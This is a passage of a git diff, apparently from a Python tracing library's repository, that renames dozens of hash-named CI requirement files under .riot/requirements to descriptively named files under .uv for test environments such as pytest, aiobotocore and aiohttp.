a/.riot/requirements/175a6ba.txt b/.uv/ci-visibility-dd-coverage--dd-coverage-py39.txt similarity index 100% rename from .riot/requirements/175a6ba.txt rename to .uv/ci-visibility-dd-coverage--dd-coverage-py39.txt diff --git a/.riot/requirements/42da45b.txt b/.uv/ci-visibility-pytest--pytest-py310-pytest-6-0-pytest-asynctest-0-13-0.txt similarity index 100% rename from .riot/requirements/42da45b.txt rename to .uv/ci-visibility-pytest--pytest-py310-pytest-6-0-pytest-asynctest-0-13-0.txt diff --git a/.riot/requirements/6d77667.txt b/.uv/ci-visibility-pytest--pytest-py310-pytest-7-0-pytest-asynctest-0-13-0.txt similarity index 100% rename from .riot/requirements/6d77667.txt rename to .uv/ci-visibility-pytest--pytest-py310-pytest-7-0-pytest-asynctest-0-13-0.txt diff --git a/.riot/requirements/10852ec.txt b/.uv/ci-visibility-pytest--pytest-py310-pytest-latest-pytest-asynctest-0-13-0.txt similarity index 100% rename from .riot/requirements/10852ec.txt rename to .uv/ci-visibility-pytest--pytest-py310-pytest-latest-pytest-asynctest-0-13-0.txt diff --git a/.riot/requirements/ab96a60.txt b/.uv/ci-visibility-pytest--pytest-py311-pytest-6-0-pytest-asynctest-0-13-0.txt similarity index 100% rename from .riot/requirements/ab96a60.txt rename to .uv/ci-visibility-pytest--pytest-py311-pytest-6-0-pytest-asynctest-0-13-0.txt diff --git a/.riot/requirements/407c34d.txt b/.uv/ci-visibility-pytest--pytest-py311-pytest-7-0-pytest-asynctest-0-13-0.txt similarity index 100% rename from .riot/requirements/407c34d.txt rename to .uv/ci-visibility-pytest--pytest-py311-pytest-7-0-pytest-asynctest-0-13-0.txt diff --git a/.riot/requirements/1f491b6.txt b/.uv/ci-visibility-pytest--pytest-py311-pytest-latest-pytest-asynctest-0-13-0.txt similarity index 100% rename from .riot/requirements/1f491b6.txt rename to .uv/ci-visibility-pytest--pytest-py311-pytest-latest-pytest-asynctest-0-13-0.txt diff --git a/.riot/requirements/1e15309.txt b/.uv/ci-visibility-pytest--pytest-py312-pytest-6-0-pytest-asynctest-0-13-0.txt similarity index 100% rename from .riot/requirements/1e15309.txt rename to .uv/ci-visibility-pytest--pytest-py312-pytest-6-0-pytest-asynctest-0-13-0.txt diff --git a/.riot/requirements/c6176a9.txt b/.uv/ci-visibility-pytest--pytest-py312-pytest-7-0-pytest-asynctest-0-13-0.txt similarity index 100% rename from .riot/requirements/c6176a9.txt rename to .uv/ci-visibility-pytest--pytest-py312-pytest-7-0-pytest-asynctest-0-13-0.txt diff --git a/.riot/requirements/16b0319.txt b/.uv/ci-visibility-pytest--pytest-py312-pytest-latest-pytest-asynctest-0-13-0.txt similarity index 100% rename from .riot/requirements/16b0319.txt rename to .uv/ci-visibility-pytest--pytest-py312-pytest-latest-pytest-asynctest-0-13-0.txt diff --git a/.riot/requirements/a5abd83.txt b/.uv/ci-visibility-pytest--pytest-py313-pytest-6-0-pytest-asynctest-0-13-0.txt similarity index 100% rename from .riot/requirements/a5abd83.txt rename to .uv/ci-visibility-pytest--pytest-py313-pytest-6-0-pytest-asynctest-0-13-0.txt diff --git a/.riot/requirements/6f4af29.txt b/.uv/ci-visibility-pytest--pytest-py313-pytest-7-0-pytest-asynctest-0-13-0.txt similarity index 100% rename from .riot/requirements/6f4af29.txt rename to .uv/ci-visibility-pytest--pytest-py313-pytest-7-0-pytest-asynctest-0-13-0.txt diff --git a/.riot/requirements/7e32ec0.txt b/.uv/ci-visibility-pytest--pytest-py313-pytest-latest-pytest-asynctest-0-13-0.txt similarity index 100% rename from .riot/requirements/7e32ec0.txt rename to .uv/ci-visibility-pytest--pytest-py313-pytest-latest-pytest-asynctest-0-13-0.txt diff --git a/.riot/requirements/abc8aee.txt b/.uv/ci-visibility-pytest--pytest-py39-pytest-6-0-pytest-mock-2-0-0-pytest-cov-2-9-0.txt similarity index 100% rename from .riot/requirements/abc8aee.txt rename to .uv/ci-visibility-pytest--pytest-py39-pytest-6-0-pytest-mock-2-0-0-pytest-cov-2-9-0.txt diff --git a/.riot/requirements/1dc9122.txt b/.uv/ci-visibility-pytest--pytest-py39-pytest-7-0-pytest-pytest-mock-2-0-0-pytest-cov-2-12-0.txt similarity index 100% rename from .riot/requirements/1dc9122.txt rename to .uv/ci-visibility-pytest--pytest-py39-pytest-7-0-pytest-pytest-mock-2-0-0-pytest-cov-2-12-0.txt diff --git a/.riot/requirements/a3e327c.txt b/.uv/ci-visibility-pytest--pytest-py39-pytest-latest-pytest-pytest-mock-2-0-0-pytest-cov-2-12-0.txt similarity index 100% rename from .riot/requirements/a3e327c.txt rename to .uv/ci-visibility-pytest--pytest-py39-pytest-latest-pytest-pytest-mock-2-0-0-pytest-cov-2-12-0.txt diff --git a/.riot/requirements/fb8986c.txt b/.uv/ci-visibility-pytest-bdd--pytest-bdd-py310-pytest-bdd-gte-6-0-lt-6-1.txt similarity index 100% rename from .riot/requirements/fb8986c.txt rename to .uv/ci-visibility-pytest-bdd--pytest-bdd-py310-pytest-bdd-gte-6-0-lt-6-1.txt diff --git a/.riot/requirements/b947449.txt b/.uv/ci-visibility-pytest-bdd--pytest-bdd-py311-pytest-bdd-gte-6-0-lt-6-1.txt similarity index 100% rename from .riot/requirements/b947449.txt rename to .uv/ci-visibility-pytest-bdd--pytest-bdd-py311-pytest-bdd-gte-6-0-lt-6-1.txt diff --git a/.riot/requirements/1d27b17.txt b/.uv/ci-visibility-pytest-bdd--pytest-bdd-py312-pytest-bdd-gte-6-0-lt-6-1.txt similarity index 100% rename from .riot/requirements/1d27b17.txt rename to .uv/ci-visibility-pytest-bdd--pytest-bdd-py312-pytest-bdd-gte-6-0-lt-6-1.txt diff --git a/.riot/requirements/18cfbb0.txt b/.uv/ci-visibility-pytest-bdd--pytest-bdd-py313-pytest-bdd-gte-6-0-lt-6-1.txt similarity index 100% rename from .riot/requirements/18cfbb0.txt rename to .uv/ci-visibility-pytest-bdd--pytest-bdd-py313-pytest-bdd-gte-6-0-lt-6-1.txt diff --git a/.riot/requirements/11e4e8b.txt b/.uv/ci-visibility-pytest-bdd--pytest-bdd-py314-pytest-bdd-gte-6-0-lt-6-1.txt similarity index 100% rename from .riot/requirements/11e4e8b.txt rename to .uv/ci-visibility-pytest-bdd--pytest-bdd-py314-pytest-bdd-gte-6-0-lt-6-1.txt diff --git a/.riot/requirements/8d15996.txt b/.uv/ci-visibility-pytest-bdd--pytest-bdd-py39-pytest-bdd-gte-4-0-lt-5-0-pytest-bdd.txt similarity index 100% rename from .riot/requirements/8d15996.txt rename to .uv/ci-visibility-pytest-bdd--pytest-bdd-py39-pytest-bdd-gte-4-0-lt-5-0-pytest-bdd.txt diff --git a/.riot/requirements/3a9fb88.txt b/.uv/ci-visibility-pytest-bdd--pytest-bdd-py39-pytest-bdd-gte-6-0-lt-6-1-pytest-bdd.txt similarity index 100% rename from .riot/requirements/3a9fb88.txt rename to .uv/ci-visibility-pytest-bdd--pytest-bdd-py39-pytest-bdd-gte-6-0-lt-6-1-pytest-bdd.txt diff --git a/.riot/requirements/160ea38.txt b/.uv/ci-visibility-pytest-benchmark--pytest-benchmark-py310.txt similarity index 100% rename from .riot/requirements/160ea38.txt rename to .uv/ci-visibility-pytest-benchmark--pytest-benchmark-py310.txt diff --git a/.riot/requirements/121fc8d.txt b/.uv/ci-visibility-pytest-benchmark--pytest-benchmark-py311.txt similarity index 100% rename from .riot/requirements/121fc8d.txt rename to .uv/ci-visibility-pytest-benchmark--pytest-benchmark-py311.txt diff --git a/.riot/requirements/5eb6b4f.txt b/.uv/ci-visibility-pytest-benchmark--pytest-benchmark-py312.txt similarity index 100% rename from .riot/requirements/5eb6b4f.txt rename to .uv/ci-visibility-pytest-benchmark--pytest-benchmark-py312.txt diff --git a/.riot/requirements/1504e4c.txt b/.uv/ci-visibility-pytest-benchmark--pytest-benchmark-py313.txt similarity index 100% rename from .riot/requirements/1504e4c.txt rename to .uv/ci-visibility-pytest-benchmark--pytest-benchmark-py313.txt diff --git a/.riot/requirements/16af3aa.txt b/.uv/ci-visibility-pytest-benchmark--pytest-benchmark-py314.txt similarity index 100% rename from .riot/requirements/16af3aa.txt rename to .uv/ci-visibility-pytest-benchmark--pytest-benchmark-py314.txt diff --git a/.riot/requirements/1435097.txt b/.uv/ci-visibility-pytest-benchmark--pytest-benchmark-py39.txt similarity index 100% rename from .riot/requirements/1435097.txt rename to .uv/ci-visibility-pytest-benchmark--pytest-benchmark-py39.txt diff --git a/.riot/requirements/98ec6ba.txt b/.uv/ci-visibility-pytest-flaky--pytest-flaky-py310.txt similarity index 100% rename from .riot/requirements/98ec6ba.txt rename to .uv/ci-visibility-pytest-flaky--pytest-flaky-py310.txt diff --git a/.riot/requirements/60dc244.txt b/.uv/ci-visibility-pytest-flaky--pytest-flaky-py311.txt similarity index 100% rename from .riot/requirements/60dc244.txt rename to .uv/ci-visibility-pytest-flaky--pytest-flaky-py311.txt diff --git a/.riot/requirements/10f023c.txt b/.uv/ci-visibility-pytest-flaky--pytest-flaky-py312.txt similarity index 100% rename from .riot/requirements/10f023c.txt rename to .uv/ci-visibility-pytest-flaky--pytest-flaky-py312.txt diff --git a/.riot/requirements/5b41073.txt b/.uv/ci-visibility-pytest-flaky--pytest-flaky-py313.txt similarity index 100% rename from .riot/requirements/5b41073.txt rename to .uv/ci-visibility-pytest-flaky--pytest-flaky-py313.txt diff --git a/.riot/requirements/6da10ca.txt b/.uv/ci-visibility-pytest-flaky--pytest-flaky-py314.txt similarity index 100% rename from .riot/requirements/6da10ca.txt rename to .uv/ci-visibility-pytest-flaky--pytest-flaky-py314.txt diff --git a/.riot/requirements/131a701.txt b/.uv/ci-visibility-pytest-flaky--pytest-flaky-py39.txt similarity index 100% rename from .riot/requirements/131a701.txt rename to .uv/ci-visibility-pytest-flaky--pytest-flaky-py39.txt diff --git a/.riot/requirements/1949111.txt b/.uv/ci-visibility-pytest-snapshot--pytest-snapshot-py310-pytest-7-2-pytest-asynctest-0-13-0.txt similarity index 100% rename from .riot/requirements/1949111.txt rename to .uv/ci-visibility-pytest-snapshot--pytest-snapshot-py310-pytest-7-2-pytest-asynctest-0-13-0.txt diff --git a/.riot/requirements/7f3af66.txt b/.uv/ci-visibility-pytest-snapshot--pytest-snapshot-py310-pytest-8-0-pytest-asynctest-0-13-0.txt similarity index 100% rename from .riot/requirements/7f3af66.txt rename to .uv/ci-visibility-pytest-snapshot--pytest-snapshot-py310-pytest-8-0-pytest-asynctest-0-13-0.txt diff --git a/.riot/requirements/132eb35.txt b/.uv/ci-visibility-pytest-snapshot--pytest-snapshot-py310-pytest-latest-pytest-asynctest-0-13-0.txt similarity index 100% rename from .riot/requirements/132eb35.txt rename to .uv/ci-visibility-pytest-snapshot--pytest-snapshot-py310-pytest-latest-pytest-asynctest-0-13-0.txt diff --git a/.riot/requirements/57de376.txt b/.uv/ci-visibility-pytest-snapshot--pytest-snapshot-py311-pytest-7-2-pytest-asynctest-0-13-0.txt similarity index 100% rename from .riot/requirements/57de376.txt rename to .uv/ci-visibility-pytest-snapshot--pytest-snapshot-py311-pytest-7-2-pytest-asynctest-0-13-0.txt diff --git a/.riot/requirements/19f1d9b.txt b/.uv/ci-visibility-pytest-snapshot--pytest-snapshot-py311-pytest-8-0-pytest-asynctest-0-13-0.txt similarity index 100% rename from .riot/requirements/19f1d9b.txt rename to .uv/ci-visibility-pytest-snapshot--pytest-snapshot-py311-pytest-8-0-pytest-asynctest-0-13-0.txt diff --git a/.riot/requirements/1148df5.txt b/.uv/ci-visibility-pytest-snapshot--pytest-snapshot-py311-pytest-latest-pytest-asynctest-0-13-0.txt similarity index 100% rename from .riot/requirements/1148df5.txt rename to .uv/ci-visibility-pytest-snapshot--pytest-snapshot-py311-pytest-latest-pytest-asynctest-0-13-0.txt diff --git a/.riot/requirements/7521ca4.txt b/.uv/ci-visibility-pytest-snapshot--pytest-snapshot-py312-pytest-7-2-pytest-asynctest-0-13-0.txt similarity index 100% rename from .riot/requirements/7521ca4.txt rename to .uv/ci-visibility-pytest-snapshot--pytest-snapshot-py312-pytest-7-2-pytest-asynctest-0-13-0.txt diff --git a/.riot/requirements/1330cf0.txt b/.uv/ci-visibility-pytest-snapshot--pytest-snapshot-py312-pytest-8-0-pytest-asynctest-0-13-0.txt similarity index 100% rename from .riot/requirements/1330cf0.txt rename to .uv/ci-visibility-pytest-snapshot--pytest-snapshot-py312-pytest-8-0-pytest-asynctest-0-13-0.txt diff --git a/.riot/requirements/1cc84f1.txt b/.uv/ci-visibility-pytest-snapshot--pytest-snapshot-py312-pytest-latest-pytest-asynctest-0-13-0.txt similarity index 100% rename from .riot/requirements/1cc84f1.txt rename to .uv/ci-visibility-pytest-snapshot--pytest-snapshot-py312-pytest-latest-pytest-asynctest-0-13-0.txt diff --git a/.riot/requirements/12b9e07.txt b/.uv/ci-visibility-pytest-snapshot--pytest-snapshot-py313-pytest-7-2-pytest-asynctest-0-13-0.txt similarity index 100% rename from .riot/requirements/12b9e07.txt rename to .uv/ci-visibility-pytest-snapshot--pytest-snapshot-py313-pytest-7-2-pytest-asynctest-0-13-0.txt diff --git a/.riot/requirements/1febba9.txt b/.uv/ci-visibility-pytest-snapshot--pytest-snapshot-py313-pytest-8-0-pytest-asynctest-0-13-0.txt similarity index 100% rename from .riot/requirements/1febba9.txt rename to .uv/ci-visibility-pytest-snapshot--pytest-snapshot-py313-pytest-8-0-pytest-asynctest-0-13-0.txt diff --git a/.riot/requirements/1fe0eaa.txt b/.uv/ci-visibility-pytest-snapshot--pytest-snapshot-py313-pytest-latest-pytest-asynctest-0-13-0.txt similarity index 100% rename from .riot/requirements/1fe0eaa.txt rename to .uv/ci-visibility-pytest-snapshot--pytest-snapshot-py313-pytest-latest-pytest-asynctest-0-13-0.txt diff --git a/.riot/requirements/10e57ab.txt b/.uv/ci-visibility-pytest-snapshot--pytest-snapshot-py39-pytest-7-2-pytest.txt similarity index 100% rename from .riot/requirements/10e57ab.txt rename to .uv/ci-visibility-pytest-snapshot--pytest-snapshot-py39-pytest-7-2-pytest.txt diff --git a/.riot/requirements/106bf5d.txt b/.uv/ci-visibility-pytest-snapshot--pytest-snapshot-py39-pytest-8-0-pytest.txt similarity index 100% rename from .riot/requirements/106bf5d.txt rename to .uv/ci-visibility-pytest-snapshot--pytest-snapshot-py39-pytest-8-0-pytest.txt diff --git a/.riot/requirements/2b9c78d.txt b/.uv/ci-visibility-selenium--selenium-pytest-py310.txt similarity index 100% rename from .riot/requirements/2b9c78d.txt rename to .uv/ci-visibility-selenium--selenium-pytest-py310.txt diff --git a/.riot/requirements/19a891c.txt b/.uv/ci-visibility-selenium--selenium-pytest-py312.txt similarity index 100% rename from .riot/requirements/19a891c.txt rename to .uv/ci-visibility-selenium--selenium-pytest-py312.txt diff --git a/.riot/requirements/8a19cba.txt b/.uv/ci-visibility-testing--testing-py310-pytest-7-2-pytest-asynctest-0-13-0.txt similarity index 100% rename from .riot/requirements/8a19cba.txt rename to .uv/ci-visibility-testing--testing-py310-pytest-7-2-pytest-asynctest-0-13-0.txt diff --git a/.riot/requirements/17a0ecd.txt b/.uv/ci-visibility-testing--testing-py310-pytest-8-0-pytest-asynctest-0-13-0.txt similarity index 100% rename from .riot/requirements/17a0ecd.txt rename to .uv/ci-visibility-testing--testing-py310-pytest-8-0-pytest-asynctest-0-13-0.txt diff --git a/.riot/requirements/1bc8d55.txt b/.uv/ci-visibility-testing--testing-py310-pytest-latest-pytest-asynctest-0-13-0.txt similarity index 100% rename from .riot/requirements/1bc8d55.txt rename to .uv/ci-visibility-testing--testing-py310-pytest-latest-pytest-asynctest-0-13-0.txt diff --git a/.riot/requirements/1ecf535.txt b/.uv/ci-visibility-testing--testing-py311-pytest-7-2-pytest-asynctest-0-13-0.txt similarity index 100% rename from .riot/requirements/1ecf535.txt rename to .uv/ci-visibility-testing--testing-py311-pytest-7-2-pytest-asynctest-0-13-0.txt diff --git a/.riot/requirements/359778b.txt b/.uv/ci-visibility-testing--testing-py311-pytest-8-0-pytest-asynctest-0-13-0.txt similarity index 100% rename from .riot/requirements/359778b.txt rename to .uv/ci-visibility-testing--testing-py311-pytest-8-0-pytest-asynctest-0-13-0.txt diff --git a/.riot/requirements/13a0575.txt b/.uv/ci-visibility-testing--testing-py311-pytest-latest-pytest-asynctest-0-13-0.txt similarity index 100% rename from .riot/requirements/13a0575.txt rename to .uv/ci-visibility-testing--testing-py311-pytest-latest-pytest-asynctest-0-13-0.txt diff --git a/.riot/requirements/65ac2ea.txt b/.uv/ci-visibility-testing--testing-py312-pytest-7-2-pytest-asynctest-0-13-0.txt similarity index 100% rename from .riot/requirements/65ac2ea.txt rename to .uv/ci-visibility-testing--testing-py312-pytest-7-2-pytest-asynctest-0-13-0.txt diff --git a/.riot/requirements/17ba38a.txt b/.uv/ci-visibility-testing--testing-py312-pytest-8-0-pytest-asynctest-0-13-0.txt similarity index 100% rename from .riot/requirements/17ba38a.txt rename to .uv/ci-visibility-testing--testing-py312-pytest-8-0-pytest-asynctest-0-13-0.txt diff --git a/.riot/requirements/1d2df56.txt b/.uv/ci-visibility-testing--testing-py312-pytest-latest-pytest-asynctest-0-13-0.txt similarity index 100% rename from .riot/requirements/1d2df56.txt rename to .uv/ci-visibility-testing--testing-py312-pytest-latest-pytest-asynctest-0-13-0.txt diff --git a/.riot/requirements/1c1c656.txt b/.uv/ci-visibility-testing--testing-py313-pytest-7-2-pytest-asynctest-0-13-0.txt similarity index 100% rename from .riot/requirements/1c1c656.txt rename to .uv/ci-visibility-testing--testing-py313-pytest-7-2-pytest-asynctest-0-13-0.txt diff --git a/.riot/requirements/1a7b44e.txt b/.uv/ci-visibility-testing--testing-py313-pytest-8-0-pytest-asynctest-0-13-0.txt similarity index 100% rename from .riot/requirements/1a7b44e.txt rename to .uv/ci-visibility-testing--testing-py313-pytest-8-0-pytest-asynctest-0-13-0.txt diff --git a/.riot/requirements/15322d3.txt b/.uv/ci-visibility-testing--testing-py313-pytest-latest-pytest-asynctest-0-13-0.txt similarity index 100% rename from .riot/requirements/15322d3.txt rename to .uv/ci-visibility-testing--testing-py313-pytest-latest-pytest-asynctest-0-13-0.txt diff --git a/.riot/requirements/83b1b06.txt b/.uv/ci-visibility-testing--testing-py314-pytest-7-2-pytest-asynctest-0-13-0.txt similarity index 100% rename from .riot/requirements/83b1b06.txt rename to .uv/ci-visibility-testing--testing-py314-pytest-7-2-pytest-asynctest-0-13-0.txt diff --git a/.riot/requirements/1ddd671.txt b/.uv/ci-visibility-testing--testing-py314-pytest-8-0-pytest-asynctest-0-13-0.txt similarity index 100% rename from .riot/requirements/1ddd671.txt rename to .uv/ci-visibility-testing--testing-py314-pytest-8-0-pytest-asynctest-0-13-0.txt diff --git a/.riot/requirements/5cfa9d1.txt b/.uv/ci-visibility-testing--testing-py314-pytest-latest-pytest-asynctest-0-13-0.txt similarity index 100% rename from .riot/requirements/5cfa9d1.txt rename to .uv/ci-visibility-testing--testing-py314-pytest-latest-pytest-asynctest-0-13-0.txt diff --git a/.riot/requirements/19db522.txt b/.uv/ci-visibility-testing--testing-py39-pytest-6-2-5-pytest.txt similarity index 100% rename from .riot/requirements/19db522.txt rename to .uv/ci-visibility-testing--testing-py39-pytest-6-2-5-pytest.txt diff --git a/.riot/requirements/5455699.txt b/.uv/ci-visibility-testing--testing-py39-pytest-7-2-pytest.txt similarity index 100% rename from .riot/requirements/5455699.txt rename to .uv/ci-visibility-testing--testing-py39-pytest-7-2-pytest.txt diff --git a/.riot/requirements/100eda9.txt b/.uv/ci-visibility-testing--testing-py39-pytest-8-0-pytest.txt similarity index 100% rename from .riot/requirements/100eda9.txt rename to .uv/ci-visibility-testing--testing-py39-pytest-8-0-pytest.txt diff --git a/.riot/requirements/3e6dcb6.txt b/.uv/ci-visibility-unittest--unittest-py310.txt similarity index 100% rename from .riot/requirements/3e6dcb6.txt rename to .uv/ci-visibility-unittest--unittest-py310.txt diff --git a/.riot/requirements/1ecc45c.txt b/.uv/ci-visibility-unittest--unittest-py311.txt similarity index 100% rename from .riot/requirements/1ecc45c.txt rename to .uv/ci-visibility-unittest--unittest-py311.txt diff --git a/.riot/requirements/35bdce1.txt b/.uv/ci-visibility-unittest--unittest-py312.txt similarity index 100% rename from .riot/requirements/35bdce1.txt rename to .uv/ci-visibility-unittest--unittest-py312.txt diff --git a/.riot/requirements/f46a802.txt b/.uv/ci-visibility-unittest--unittest-py313.txt similarity index 100% rename from .riot/requirements/f46a802.txt rename to .uv/ci-visibility-unittest--unittest-py313.txt diff --git a/.riot/requirements/4197bde.txt b/.uv/ci-visibility-unittest--unittest-py314.txt similarity index 100% rename from .riot/requirements/4197bde.txt rename to .uv/ci-visibility-unittest--unittest-py314.txt diff --git a/.riot/requirements/169ae94.txt b/.uv/ci-visibility-unittest--unittest-py39.txt similarity index 100% rename from .riot/requirements/169ae94.txt rename to .uv/ci-visibility-unittest--unittest-py39.txt diff --git a/.riot/requirements/1bc972c.txt b/.uv/conftest--meta-testing-py310.txt similarity index 100% rename from .riot/requirements/1bc972c.txt rename to .uv/conftest--meta-testing-py310.txt diff --git a/.riot/requirements/9adbf36.txt b/.uv/contrib-aiobotocore--aiobotocore-py310-aiobotocore-1-0-0-aiobotocore.txt similarity index 100% rename from .riot/requirements/9adbf36.txt rename to .uv/contrib-aiobotocore--aiobotocore-py310-aiobotocore-1-0-0-aiobotocore.txt diff --git a/.riot/requirements/183e307.txt b/.uv/contrib-aiobotocore--aiobotocore-py310-aiobotocore-1-4-2-aiobotocore.txt similarity index 100% rename from .riot/requirements/183e307.txt rename to .uv/contrib-aiobotocore--aiobotocore-py310-aiobotocore-1-4-2-aiobotocore.txt diff --git a/.riot/requirements/2ab4a50.txt b/.uv/contrib-aiobotocore--aiobotocore-py310-aiobotocore-2-0-0-aiobotocore.txt similarity index 100% rename from .riot/requirements/2ab4a50.txt rename to .uv/contrib-aiobotocore--aiobotocore-py310-aiobotocore-2-0-0-aiobotocore.txt diff --git a/.riot/requirements/2b7ab63.txt b/.uv/contrib-aiobotocore--aiobotocore-py310-aiobotocore-latest-aiobotocore.txt similarity index 100% rename from .riot/requirements/2b7ab63.txt rename to .uv/contrib-aiobotocore--aiobotocore-py310-aiobotocore-latest-aiobotocore.txt diff --git a/.riot/requirements/150beac.txt b/.uv/contrib-aiobotocore--aiobotocore-py311-aiobotocore-1-0-0-aiobotocore.txt similarity index 100% rename from .riot/requirements/150beac.txt rename to .uv/contrib-aiobotocore--aiobotocore-py311-aiobotocore-1-0-0-aiobotocore.txt diff --git a/.riot/requirements/1c1bb1f.txt b/.uv/contrib-aiobotocore--aiobotocore-py311-aiobotocore-1-4-2-aiobotocore.txt similarity index 100% rename from .riot/requirements/1c1bb1f.txt rename to .uv/contrib-aiobotocore--aiobotocore-py311-aiobotocore-1-4-2-aiobotocore.txt diff --git a/.riot/requirements/db0f71f.txt b/.uv/contrib-aiobotocore--aiobotocore-py311-aiobotocore-2-0-0-aiobotocore.txt similarity index 100% rename from .riot/requirements/db0f71f.txt rename to .uv/contrib-aiobotocore--aiobotocore-py311-aiobotocore-2-0-0-aiobotocore.txt diff --git a/.riot/requirements/1c4a762.txt b/.uv/contrib-aiobotocore--aiobotocore-py311-aiobotocore-latest-aiobotocore.txt similarity index 100% rename from .riot/requirements/1c4a762.txt rename to .uv/contrib-aiobotocore--aiobotocore-py311-aiobotocore-latest-aiobotocore.txt diff --git a/.riot/requirements/13c0fff.txt b/.uv/contrib-aiobotocore--aiobotocore-py312-aiobotocore-latest.txt similarity index 100% rename from .riot/requirements/13c0fff.txt rename to .uv/contrib-aiobotocore--aiobotocore-py312-aiobotocore-latest.txt diff --git a/.riot/requirements/1522dd0.txt b/.uv/contrib-aiobotocore--aiobotocore-py313-aiobotocore-latest.txt similarity index 100% rename from .riot/requirements/1522dd0.txt rename to .uv/contrib-aiobotocore--aiobotocore-py313-aiobotocore-latest.txt diff --git a/.riot/requirements/1475c1a.txt b/.uv/contrib-aiobotocore--aiobotocore-py314-aiobotocore-latest.txt similarity index 100% rename from .riot/requirements/1475c1a.txt rename to .uv/contrib-aiobotocore--aiobotocore-py314-aiobotocore-latest.txt diff --git a/.riot/requirements/113966a.txt b/.uv/contrib-aiobotocore--aiobotocore-py39-aiobotocore-1-0-0-aiobotocore.txt similarity index 100% rename from .riot/requirements/113966a.txt rename to .uv/contrib-aiobotocore--aiobotocore-py39-aiobotocore-1-0-0-aiobotocore.txt diff --git a/.riot/requirements/15fd7ec.txt b/.uv/contrib-aiobotocore--aiobotocore-py39-aiobotocore-1-4-2-aiobotocore.txt similarity index 100% rename from .riot/requirements/15fd7ec.txt rename to .uv/contrib-aiobotocore--aiobotocore-py39-aiobotocore-1-4-2-aiobotocore.txt diff --git a/.riot/requirements/daa4242.txt b/.uv/contrib-aiobotocore--aiobotocore-py39-aiobotocore-2-0-0-aiobotocore.txt similarity index 100% rename from .riot/requirements/daa4242.txt rename to .uv/contrib-aiobotocore--aiobotocore-py39-aiobotocore-2-0-0-aiobotocore.txt diff --git a/.riot/requirements/bb514db.txt b/.uv/contrib-aiobotocore--aiobotocore-py39-aiobotocore-latest-aiobotocore.txt similarity index 100% rename from .riot/requirements/bb514db.txt rename to .uv/contrib-aiobotocore--aiobotocore-py39-aiobotocore-latest-aiobotocore.txt diff --git a/.riot/requirements/249a2b8.txt b/.uv/contrib-aiohttp--aiohttp-py310-aiohttp-py39-py312-aiohttp-3-7.txt similarity index 100% rename from .riot/requirements/249a2b8.txt rename to .uv/contrib-aiohttp--aiohttp-py310-aiohttp-py39-py312-aiohttp-3-7.txt diff --git a/.riot/requirements/622ac0c.txt b/.uv/contrib-aiohttp--aiohttp-py310-aiohttp-py39-py312-aiohttp-latest.txt similarity index 100% rename from .riot/requirements/622ac0c.txt rename to .uv/contrib-aiohttp--aiohttp-py310-aiohttp-py39-py312-aiohttp-latest.txt diff --git a/.riot/requirements/16d286c.txt b/.uv/contrib-aiohttp--aiohttp-py311-aiohttp-py39-py312-aiohttp-3-7.txt similarity index 100% rename from .riot/requirements/16d286c.txt rename to .uv/contrib-aiohttp--aiohttp-py311-aiohttp-py39-py312-aiohttp-3-7.txt diff --git a/.riot/requirements/6c995e2.txt b/.uv/contrib-aiohttp--aiohttp-py311-aiohttp-py39-py312-aiohttp-latest.txt similarity index 100% rename from .riot/requirements/6c995e2.txt rename to .uv/contrib-aiohttp--aiohttp-py311-aiohttp-py39-py312-aiohttp-latest.txt diff --git a/.riot/requirements/161f1c8.txt b/.uv/contrib-aiohttp--aiohttp-py312-aiohttp-py39-py312-aiohttp-3-7.txt similarity index 100% rename from .riot/requirements/161f1c8.txt rename to .uv/contrib-aiohttp--aiohttp-py312-aiohttp-py39-py312-aiohttp-3-7.txt diff --git a/.riot/requirements/51c8a5c.txt b/.uv/contrib-aiohttp--aiohttp-py312-aiohttp-py39-py312-aiohttp-latest.txt similarity index 100% rename from .riot/requirements/51c8a5c.txt rename to .uv/contrib-aiohttp--aiohttp-py312-aiohttp-py39-py312-aiohttp-latest.txt diff --git a/.riot/requirements/171d43c.txt b/.uv/contrib-aiohttp--aiohttp-py313-aiohttp-py313-plus-aiohttp-3-7.txt similarity index 100% rename from .riot/requirements/171d43c.txt rename to .uv/contrib-aiohttp--aiohttp-py313-aiohttp-py313-plus-aiohttp-3-7.txt diff --git a/.riot/requirements/193fd52.txt b/.uv/contrib-aiohttp--aiohttp-py313-aiohttp-py313-plus-aiohttp-latest.txt similarity index 100% rename from .riot/requirements/193fd52.txt rename to .uv/contrib-aiohttp--aiohttp-py313-aiohttp-py313-plus-aiohttp-latest.txt diff --git a/.riot/requirements/12f38be.txt b/.uv/contrib-aiohttp--aiohttp-py314-aiohttp-py313-plus-aiohttp-3-7.txt similarity index 100% rename from .riot/requirements/12f38be.txt rename to .uv/contrib-aiohttp--aiohttp-py314-aiohttp-py313-plus-aiohttp-3-7.txt diff --git a/.riot/requirements/f9c2ba1.txt b/.uv/contrib-aiohttp--aiohttp-py314-aiohttp-py313-plus-aiohttp-latest.txt similarity index 100% rename from .riot/requirements/f9c2ba1.txt rename to .uv/contrib-aiohttp--aiohttp-py314-aiohttp-py313-plus-aiohttp-latest.txt diff --git a/.riot/requirements/402deda.txt b/.uv/contrib-aiohttp--aiohttp-py39-aiohttp-legacy-aiohttp-legacy-3-7.txt similarity index 100% rename from .riot/requirements/402deda.txt rename to .uv/contrib-aiohttp--aiohttp-py39-aiohttp-legacy-aiohttp-legacy-3-7.txt diff --git a/.riot/requirements/1e09557.txt b/.uv/contrib-aiohttp--aiohttp-py39-aiohttp-py39-py312-aiohttp-3-7.txt similarity index 100% rename from .riot/requirements/1e09557.txt rename to .uv/contrib-aiohttp--aiohttp-py39-aiohttp-py39-py312-aiohttp-3-7.txt diff --git a/.riot/requirements/db4c577.txt b/.uv/contrib-aiohttp--aiohttp-py39-aiohttp-py39-py312-aiohttp-latest.txt similarity index 100% rename from .riot/requirements/db4c577.txt rename to .uv/contrib-aiohttp--aiohttp-py39-aiohttp-py39-py312-aiohttp-latest.txt diff --git a/.riot/requirements/8ef4a62.txt b/.uv/contrib-aiohttp-jinja2--aiohttp-jinja2-py310-aiohttp-3-7-aiohttp-jinja2-1-5-pytest-asyncio-0-23.txt similarity index 100% rename from .riot/requirements/8ef4a62.txt rename to .uv/contrib-aiohttp-jinja2--aiohttp-jinja2-py310-aiohttp-3-7-aiohttp-jinja2-1-5-pytest-asyncio-0-23.txt diff --git a/.riot/requirements/1ff2f1b.txt b/.uv/contrib-aiohttp-jinja2--aiohttp-jinja2-py310-aiohttp-3-7-aiohttp-jinja2-latest-pytest-asyncio-0-23.txt similarity index 100% rename from .riot/requirements/1ff2f1b.txt rename to 